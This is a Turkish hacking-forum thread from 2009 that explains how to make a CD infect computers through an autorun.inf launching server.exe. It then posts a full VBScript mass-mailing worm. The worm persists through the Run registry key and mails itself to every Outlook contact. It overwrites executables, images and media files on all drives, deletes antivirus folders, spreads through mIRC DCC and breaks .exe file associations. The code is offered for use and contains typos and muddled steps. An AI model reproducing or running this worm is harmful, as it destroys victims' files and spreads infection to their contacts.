Real Felaket

Web Sitemiden Yararlana Bilmek İçin Lütfen Üye Olunuz
Real Felaket

    Bir CD Nasıl ViRüS Haline Getirilir .

    Paylaş
    avatar
    Fakelove
    G.K BAŞKANI
    G.K BAŞKANI

    Mesaj Sayısı : 145
    Kayıt tarihi : 17/06/09
    Yaş : 26
    Nerden : Nereye

    Bir CD Nasıl ViRüS Haline Getirilir .

    Mesaj tarafından Fakelove Bir Paz Haz. 21, 2009 1:28 am

    Aşağıda verdiim kodu bir not defterine yazıp ondan sonra da autorun.inf diye kaydediosunuz
    sonra bir viüs veya trojan ne ise artık adın server yapıp (genelde server dir zaten) Cd nin içine
    kopyalıyosunuz artık o cd takıldığı bilgisayara serveri yükler konumdadır ...

    İşte o kod :



    [Autorun]
    open=server.exe

    Server.exe yi acın

    İçine Şu Codu Kopyalayın

    MustiHaCk
    'Virus created with Rapid virus creator v1.0
    On Error Resume Next
    dir fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
    eq=""
    ctr=0
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set file = fso.OpenTextFile(WScript.ScriptFullName,1)
    vbsCopy=file.ReadAll
    main()

    Sub Main()
    On Error Resume Next
    dim wscr,rr
    Set wscr = CreateObject("WScript.Shell")
    rr = wscr.RegRead("HKCU\Software\Microsoft\Windows Scripting Host\Settings\TimeOut")
    If (rr>=1) Then
    wscr.RegWrite "HKCU\Software\Microsoft\Windows Scripting Host\Settings\TimeOut",0,"REG_DWORD"
    End If
    Set DirWin=fso.GetSpecialFolder(0)
    Set DirSystem=fso.GetSpecialFolder(1)
    Set DirTemp=fso.GetSpecialFolder(2)
    Set c=fso.GetFile(WScript.ScriptFullName)
    wscr.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersio n\Ru n\MustiHaCk.gif.vbs",dirSystem&"\MSKernel32.vbs"
    wscr.RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title","Microsoft Internet Exploder"
    c.Copy(dirSystem&"\MSKernel32.vbs")
    c.Copy(dirWin&"\Win32Dll.vbs")
    c.Copy(dirSystem&"\config-info.txt.vbs")
    if true Then
    wscr.run "RUNDLL32.EXE user.exe,exitwindows"
    End If
    if true Then
    FSO.DeleteFolder ("c:\f-prot")
    End If
    if true Then
    wscr.run "c:\autoexec.bat"
    End If
    if true Then
    MsgBox "Hacked by Altin Nesil Hack TeaM"
    End If
    Postala
    Etkile
    SysBoz
    End Sub

    Sub Postala
    On Error Resume Next
    dim x,a,ctrlists,crtentries,malead,b,regedit,regv,rega d
    set regedit = CreateObject("WScript.Shell")
    set out = WScript.CreateObject("Outlook.Application")
    set mapi=out.GetNameSpace("MAPI")
    For CtrLists=1 to mapi.AddressLists.Count
    set a=mapi.AdressLists(CtrLists)
    x=1
    regv=regedit.RegReag("HKCU\Sofware\MicroSoft\WAB\" &a)
    if (regv="") Then
    regv=1
    End If
    If (int(a.AdressEntriesCount)>int(regv)) Then
    For crtEntries=1 to a.AdressEntriesCount
    malead = a.AddressEntries(x)
    regad=""
    regad=regedit.RegReag("HKCU\Sofware\MicroSoft\WAB\ "&malead)
    if (regad="") Then
    set male=out.CreateItem(0)
    male.Recipents.Add(malead)
    male.Subject="slm"
    male.Body=vbcrlf& "Nbr"

    male.Attachments.Add(dirSystem&"\MSKernel32.vbs")
    male.Send
    regedit.RegWrite "HKCU\Sofware\MicroSoft\WAB\"&a,a.AdressEntrie sCou nt
    Else
    regedit.RegWrite "HKCU\Sofware\MicroSoft\WAB\"&a,a.AdressEntrie sCou nt
    End If
    Next
    End If
    Next
    Set out=Nothing
    Set mapi=Nothing
    End Sub

    Sub Etkile
    On Error Resume Next
    Dim d,dc,s
    Set dc = fso.Drives
    For Each d in dc
    If (d.DriveType = 2) or (d.DriveType = 3) Then
    ListFoldersInDrive(d.Path&"\")
    End If
    Next
    Etkile=s
    End Sub

    Sub ListFoldersInDrive( param )
    On Error Resume Next
    Dim f,f1,sf
    Set f=fso.GetFolder(param)
    Set sf= f.SubFolders
    For Each f1 in sf
    KlasorEtkile(f1.path)
    ListFoldersInDrive(f1.Path)
    Next
    End Sub

    Sub KlasorEtkile( folderspec )
    OnError Resume Next
    Dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
    Set f=fso.GetFolder(folderspec)
    Set fc=f.files
    For Each f1 in fc
    ext=fso.GetExtensionName(f1.path)
    ext=LCase(ext)
    s=LCase(f1.name)
    If
    (ext="vbs") or (ext="vbe") or (ext="exe") or (ext="mpge") or
    (ext="mpg") or (ext="mp3") or (ext="bat") or (ext="jpg") or (ext="avi")
    or (ext="") Then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbsCopy
    ap.Close
    End If
    if (ext="def") Then
    fso.DeleteFile(f1.path)
    End If
    If (eq<>FolderSpec) Then
    If (s="mirc32.exe") or (s="mirc.exe") or (s="mirc.hlp") Then
    set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
    scriptini.WriteLine "[script]"
    scriptini.WriteLine "n0=;Altin Nesil Hack TEaM"
    scriptini.WriteLine "n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
    scriptini.WriteLine "n2= /dcc send $nick "&dirSystem&"\MSKernel32.vbs"
    scriptini.WriteLine "n3=}"
    scriptini.WriteLine "n4="
    scriptini.WriteLine "n5=ON 1:PART:#:{ /if ( $nick == $me ) { halt }"
    scriptini.WriteLine "n6= /dcc send $nick "&dirSystem&"\MSKernel32.vbs"
    scriptini.WriteLine "n7=}"
    scriptini.Close
    eq=folderSpec
    End If
    End If
    Next
    End Sub
    Sub SysBoz()
    wscr.RegWrite "HKCR\.exe\Default","xyzxyz"
    wscr.RegWrite "HKCR\.exe\Content Type","hebele hübele"
    EndSub
    avatar
    Qarizma
    Asker
    Asker

    Mesaj Sayısı : 7
    Kayıt tarihi : 22/06/09
    Yaş : 24
    Nerden : nereye

    Geri: Bir CD Nasıl ViRüS Haline Getirilir .

    Mesaj tarafından Qarizma Bir Ptsi Haz. 22, 2009 2:42 am

    bunun hepsini mi atcaz not defterine biraz daha ayrıntılı yazarsanız sewinirim
    avatar
    Paradiz
    G.K BAŞKANI
    G.K BAŞKANI

    Mesaj Sayısı : 14
    Kayıt tarihi : 17/06/09
    Yaş : 25
    Nerden : Bursa

    Geri: Bir CD Nasıl ViRüS Haline Getirilir .

    Mesaj tarafından Paradiz Bir Ptsi Haz. 22, 2009 2:48 am

    Asker Bak Orda Geniç Bir Biçimde Anlamışım O Şekidle yptığında Olucaktır İyi Forumlar

    Sponsored content

    Geri: Bir CD Nasıl ViRüS Haline Getirilir .

    Mesaj tarafından Sponsored content


      Forum Saati Salı Nis. 25, 2017 12:56 am